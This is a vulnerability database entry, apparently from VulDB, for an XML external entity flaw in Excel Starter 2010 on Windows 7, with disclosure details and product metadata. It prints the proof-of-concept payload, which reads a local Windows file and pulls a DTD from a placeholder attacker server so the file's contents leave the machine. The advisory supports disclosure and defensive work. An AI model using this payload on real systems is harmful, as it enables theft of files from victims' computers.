Microsoft Windows 7 Excel Starter 2010 xml external entity reference

Summaryinfo

A vulnerability labeled as problematic has been found in Microsoft Windows 7. This affects an unknown part of the component Excel Starter 2010. Executing a manipulation can lead to xml external entity reference. The attack may be launched remotely. Furthermore, there is an exploit available.

Detailsinfo

A vulnerability has been found in Microsoft Windows 7 (Operating System) and classified as problematic. This vulnerability affects an unknown part of the component Excel Starter 2010. The manipulation with an unknown input leads to a xml external entity reference vulnerability. The CWE definition for the vulnerability is CWE-611. The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. As an impact it is known to affect confidentiality.

The weakness was shared 12/04/2016 by John Page (hyp3rlinx) as Microsoft Excel Starter 2010 XML External Entity as not defined mailinglist post (Full-Disclosure). The advisory is shared for download at seclists.org. The vendor cooperated in the coordination of the public release. The attack can be initiated remotely. Technical details are unknown but a public exploit is available.

A public exploit has been developed by John Page (hyp3rlinx) and been published immediately after the advisory. It is possible to download the exploit at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 91 days. During that time the estimated underground price was around $25k-$100k. The code used by the exploit is:

<?xml version="1.0"?>
<!DOCTYPE APPARITION [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://ATTACKER-SERVER:8080/payload.dtd";>
%dtd;]>
<pwn>&send;</pwn>

The mailinglist post contains the following remark:

MSRC Response: "Out of date Office Client"

The entries VDB-93968, VDB-93963 and VDB-93962 are related to this item. Once again VulDB remains the best source for vulnerability data.

Productinfo

Type

• Operating System

Vendor

• Microsoft

Name

• Windows

Version

• 7

License

• commercial

Support

• end of life (old version)

Website

• Vendor: https://www.microsoft.com/
• Product: https://www.microsoft.com/en-us/windows

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

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